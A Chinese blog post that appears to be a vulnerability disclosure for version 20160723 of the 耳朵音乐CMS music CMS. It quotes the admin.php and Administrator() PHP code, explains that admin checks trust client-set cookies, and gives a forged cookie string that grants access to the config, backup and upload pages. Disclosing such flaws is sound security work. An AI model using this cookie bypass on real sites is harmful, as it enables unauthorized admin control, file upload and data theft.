IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    耳朵音乐CMS 免认证登录

    没穿底裤发表于 2016-08-11 03:18:35
    love 0

    漏洞版本20160723,官方于今天修复了该漏洞。
    0x01:漏洞分析
    在文件 admin.php 第四行:

    $frames = array('login', 'index', 'body', 'config'....);
      $iframe = !empty($_GET['iframe']) && in_array($_GET['iframe'], $frames) ? $_GET['iframe'] : 'login';
      include_once 'source/admincp/module/'.$iframe.'.php';

    变量 $iframe 通过 GET 方式获取值,如果 iframe 的值不在数组 frames 里就定向到 “login.php”。我们以 “config.php” 为例,当传入参数 “?iframe=config” 时将包含文件 “source/admincp/module/config.php”,跟进该文件从第二行可以看到如下代码:

    if(!defined('IN_ROOT')){exit('Access denied');}
        Administrator(2);
        $action=SafeRequest("action","get");

    跟进函数 “Administrator”,在 “source/admincp/include/function.php” 第三十九行定义了 “Administrator”:

    function Administrator($value){
            if(empty($_COOKIE['in_adminid']) || empty($_COOKIE['in_adminexpire']) || $_COOKIE['in_adminexpire']!==md5($_COOKIE['in_adminid'].$_COOKIE['in_adminname'].$_COOKIE['in_adminpassword'].$_COOKIE['in_permission'])){
                ShowMessage("未登录或登录已过期,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
            }
            setcookie("in_adminexpire",$_COOKIE['in_adminexpire'],time()+1800);
            if(!empty($_COOKIE['in_permission'])){
                $array=explode(",",$_COOKIE['in_permission']);
                $adminlogined=false;
                for($i=0;$i<count($array);$i++){
                    if($array[$i]==$value){$adminlogined=true;}
                }
                if(!$adminlogined){
                     ShowMessage("权限不够,无法进入此页面!","?iframe=body","infotitle3",3000,0);
                }
            }else{
                ShowMessage("帐号异常,请重新登录管理中心!",$_SERVER['PHP_SELF'],"infotitle3",3000,0);
            }
        }

    这段代码通过 cookie 验证登录用户信息,将 “in_adminid”,”in_adminname”,”in_adminpassword”,”in_permission” 拼接在一起 MD5 后与 “in_adminexpire” 的值比较,左右两值相等就通过验证,再通过 “in_permision” 验证该用户是否有本页面权限。在数组 “frames” 中的页面都没有通过数据库验证用户信息,因为 cookie 我们是可控的所以我们很容易绕过它的验证方式。以 “config.php” 为例,先进入 “http://xxx.xxx.xxx.xxx/qwyy/admin.php” (这步我也不知道为什么要这样,直接进入 “http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config”不能成功 QAQ,改了 Refer 也不行):这时候我们没有保存cookie,页面将会跳转到 “login.php”:
    1
    再次登录 “http://xxx.xxx.xxx.xxx/qwyy/admin.php?iframe=config” 用 burpsuit 截取数据包修改 cookie 为:

    in_adminid=2;in_adminname=test;in_adminpassword=test;in_permission=1,2,3,4,5,6,7,8,9;in_adminexpire=b2e9b95b82be9264c3368b3f0de34f08

    截图结果显示我们成功绕过验证并登录到 “config.php”,利用此方法可以登录到 “config.php”,”backup.php”,”index.php”等页面进行文件上传,数据库备份以及其他危险操作:
    1
    Author:LionEiJonson



沪ICP备19023445号-2号
友情链接